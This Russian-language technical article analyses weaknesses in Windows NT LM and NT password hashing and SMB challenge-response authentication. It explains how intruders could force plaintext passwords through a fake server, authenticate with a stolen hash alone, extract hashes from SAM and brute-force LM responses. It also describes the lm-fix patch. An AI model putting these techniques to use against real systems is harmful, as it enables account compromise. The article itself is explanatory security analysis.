Хэш Windows NT обладает преимуществом по сравнению с функцией хэша Lan Manager - различаются регистры, пароли могут быть длиннее 14 символов, для хэширования используется весь пароль в целом, а не его части, хотя по-прежнему отсутствует элемент индивидуальности. Таким образом, люди, имеющие одинаковые пароли, всегда будут иметь одинаковые хэш-значения.

Удаленная аутентификация

Механизм удаленной регистрации на сервере (надо отдать должное разработчикам Windows NT) более надежен тем, что ни пароль пользователя, ни его хэш не передаются по сети в открытом виде (по крайней мере, в последних диалектах SMB). Впрочем, это не оригинальная находка Microsoft, а стандартный механизм большинства систем клиент - сервер, если связь между ними осуществляется по небезопасным каналам.

Функционирует механизм удаленной аутентификации, называемый "запрос-отклик", таким образом:

Клиент выдает команду на подключение к серверу.
Сервер либо возвращает пакет, в котором присутствует флаг, требующий от клиента передавать пароль в открытом виде (то есть сервер не поддерживает последние диалекты SMB), либо возвращает 8-байтовый случайный запрос (challenge). Далее рассматривается только последний вариант.
Клиент вычисляет LM-хэш введенного пароля, добавляет к нему пять нулей, получая таким образом 21-байтовую строку. Далее он делит ее на три 7-байтовых части, каждая из которых используется как отдельный ключ в алгоритме DES, - на этих ключах независимо три раза зашифровывается полученный запрос, что приводит к появлению 24-разрядного шифрованного значения. Поскольку клиент не знает, значения каких хэш-функции определены для данного пользователя в базе данных SAM на сервере, то он поступает аналогично и с хэш-функцией Windows NT. Таким образом, длина отклика клиента достигает 48 байт.
Сервер ищет то значение хэш-функции в своей базе данных SAM, которое присуще данному пользователю, аналогично шифрует запрос с его помощью и сравнивает с нужной половиной полученного отклика. Если значения совпадают, аутентификация считается состоявшейся.

Из сказанного можно сделать следующие выводы:

Все-таки есть возможность передачи пароля открытым текстом. Соответственно, используя механизм ложного сервера, можно заставить клиента передавать незашифрованные пароли.
Для успеха аутентификации злоумышленнику не нужно знать оригинальный пароль пользователя. Это вполне очевидно, так как сервер также его не знает, а пользуется только хэш-значением. Владея этим значением, злоумышленник может подключаться к серверу.
При этом взломщик не получит это хэш-значение, непосредственно перехватив один или более сеансов подключения к серверу, потому что оно используется как ключ шифрования. Итак, самый реальный способ для злоумышленника - извлечение хэша непосредственно из базы данных на сервере.
Клиенту приходится передавать два отклика, для обоих хэш-значений. И в этом случае LM-хэш, естественно, оказывается более слабым. В частности, сразу можно выяснить, длиннее ли 7 символов пароль пользователя: если нет, то третий ключ DES будет представлять собой фиксированную константу 04ЕЕ0000000000, с помощью которой легко зашифровать запрос и проверить, тот ли отклик был отправлен серверу. Совершенно очевидно, что для подбора LM-хэша взломщику, когда у него есть перехваченные запрос и отклик, потребуется не больше действий, чем для восстановления пароля по хэшу, так как за те же самые 2⁴³ операции он легко восстановит и оригинальный пароль, и хэш.

При WWW-доступе к серверу IIS, требующем аутентификации, используется тот же самый механизм "запрос-отклик". Но существует единственное отличие - и запрос, и отклик кодируются для передачи в рамках протокола http с помощью base64, то есть практически передаются так же, как и в локальных сетях, со всеми вытекающими отсюда последствиями. Впрочем, базовая схема аутентификации http является еще более слабой, требуя и имя, и пароль пользователя в открытом виде. Соответствующий запрос может выглядеть примерно так: http://user:password@www.victim.com.

Таким образом, основной проблемой, ослабляющей алгоритмы аутентификации в Windows NT, является передача нестойкого значения LM-хэша даже в сетях, где нет других серверов и клиентов, кроме Windows NT. В частности, пароли любой длины из латинских букв будут вскрыты нарушителем в среднем за (26 + 26²+ ... 26⁷) / (2х190000) ~ 22 000 секунд, или всего за 6 часов!

Поэтому фирма Microsoft выпустила заплатку (hot-fix), называемую lm-fix (она вошла потом в Service Pack 4), которая может запретить использование LM-хэша, и он не будет передаваться.

К сожалению, недостатки такого решения лежат на поверхности - теряется совместимость с другими ОС. В частности, hot-fix должна устанавливаться и на сервер, и на все клиенты, так как в противном случае, при обращении, например, к закрытой WWW-странице, будет выдаваться сообщение типа: 500 Server Error (-2146893054). Аналогичное сообщение последует и при попытке доступа с клиентов под управлением Windows 95.

Увы, подобное решение проблемы вносит и дополнительные ошибки, что очень наглядно продемонстрировал Service Pack 4: если клиент после установки Service Pack 4 изменит свой пароль при помощи ОС, не поддерживающей NT-хэш (при этом, как объяснялось выше, его значение в базе SAM обнулится), то потом при входе в систему такое нулевое значение будет ошибочно приниматься за отсутствие пароля, при условии, что для аутентификации использовался NT-хэш.

[28456]